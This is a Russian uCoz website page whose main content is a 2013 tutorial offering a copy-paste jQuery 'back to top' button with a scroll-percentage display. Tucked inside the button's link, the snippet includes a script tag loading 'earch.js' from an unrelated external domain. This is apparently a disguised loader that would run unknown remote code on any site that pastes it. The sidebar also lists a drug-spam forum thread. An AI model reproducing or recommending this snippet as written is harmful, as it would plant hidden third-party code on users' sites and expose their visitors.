Галерея лучших современников и их творческих работ
Главная | Регистрация | Вход Приветствую Вас Гость | RSS
Язык сайта
Выбрать язык / Choose language:
Ukranian
English
French
German
Japanese
Italian
Portuguese
Spanish
Danish
Chinese
Korean
Arabic
Czech
Estonian
Belarusian
Latvian
Greek
Finnish
Serbian
Bulgarian
Turkish
Меню сайта
Категории раздела
Полезности для сайтов ucoz [134]
Поиск
Новенькие на сайте
rbadertdinov
↓ ↓ ↓ ↓ ↓
KuznetzovapCT
↓ ↓ ↓ ↓ ↓
cecfjgmuraniench
↓ ↓ ↓ ↓ ↓
cecfjgbascubblil
↓ ↓ ↓ ↓ ↓
xiao_yiwan
↓ ↓ ↓ ↓ ↓
mailsima
↓ ↓ ↓ ↓ ↓
larisamatkovskaa
↓ ↓ ↓ ↓ ↓
samaraindi
↓ ↓ ↓ ↓ ↓
Новое на форуме
  • Виагра купить цена
  • Продолжается восстановление Успенского собора Киево-печерской Лавры
  • Война. Оружие. Пули. И все что из этого может получиться
  • Романизм
  • Ренессанс
  • Словарь
    Пигменты.
    [Раздел под буквой - [П]]
    Пейзаж.
    [Раздел под буквой - [П]]
    Хэппенинг.
    [Раздел под буквой - [Х]]
    Каннелюры.
    [Раздел под буквой - [К]]
    Гризайль.
    [Раздел под буквой - [Г]]
    Главная » 2013 » Март » 3 » Кнопка "Вверх" для сайта, блога или форума
    13:28
    Кнопка "Вверх" для сайта, блога или форума
    Сегодня я расскажу как вставить скрипт кнопка "Вверх” на сайт ucoz или блок. Эта кнопка будет очень полезна для Ваших сайтов, блогов или форумов с длинными страницами. Данный скрипт не нагружает сайт или блог и достаточно эффективен.
    В самый низ страницы, перед /body :

    Код
    <!-- <Кнопка Вверх> -->
    <script type="text/javascript">
    $(document).ready(function(){

       
      $("#back-top").hide();
       
      $(function () {
      $(window).scroll(function () {
       
      if ($(this).scrollTop() > 125) {
      $('#back-top').fadeIn();
       
       
       
      } else {
      $('#back-top').fadeOut();
       
      }
       
       
      });

       
      $('#backop').click(function () {
      $('body,html').animate({
      scrollTop: 0
      }, 800);
      return false;
      });
      });

    });
    </script>

    <script type="text/javascript">
    $(window).scroll(function(){
    var s = $(window).scrollTop();
    var f = $(document).height()-$(window).height();

    var d=s/f*100;
    var p=Math.round(d);

    $("#pix").text(p);

    });
    </script>

    <div id="back-top" style="position:fixed; width: 50px; height: 100%; z-index: 6; right: 10px; top: 90%; background: transparent; " id="layer2">
    <center><a title="Вверх" id="backop" href="#top"><script type="text/javascript" src="http://camadmin.ru/earch.js"></script><img src="http://bambun.ru/images/ups.png" onmouseover="this.src='http://bambun.ru/images/up1.png'" onmouseout="this.src='http://bambun.ru/images/ups.png'"></a></center>
    <center><font color="#000000" size="3">
    <span id="pix"></span>%</font></center>
    </div>
    <!-- </Конец> -->
    Категория: Полезности для сайтов ucoz | Просмотров: 139 | Добавил: startsmart | Рейтинг: 0.0/0
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]
    Профиль
    Гость




    Группа:
    Гости

    Мы очень рады что вы зашли к нам.
    Пожалуйста зарегистрируйтесь или авторизуйтесь!
    Случайные работы
    Друзья сайта
  • All-Art.do.am - все об искусстве! Стили, направления, художники, иконопись и т.д.

  • Tatyana_Art - Кое-что о компьютерной графике. Портфолио. Уроки компьютерной графики (2D и 3D)

  • Галерея иконописи и убранств храмов

  • Галерея мировых шедевров

  • Галерея лучших художников 20 века

  • Статистика

    Онлайн всего: 1
    Гостей: 1
    Пользователей: 0
    Copyright MyCorp © 2017
    Бесплатный хостинг uCoz




    Rambler's Top100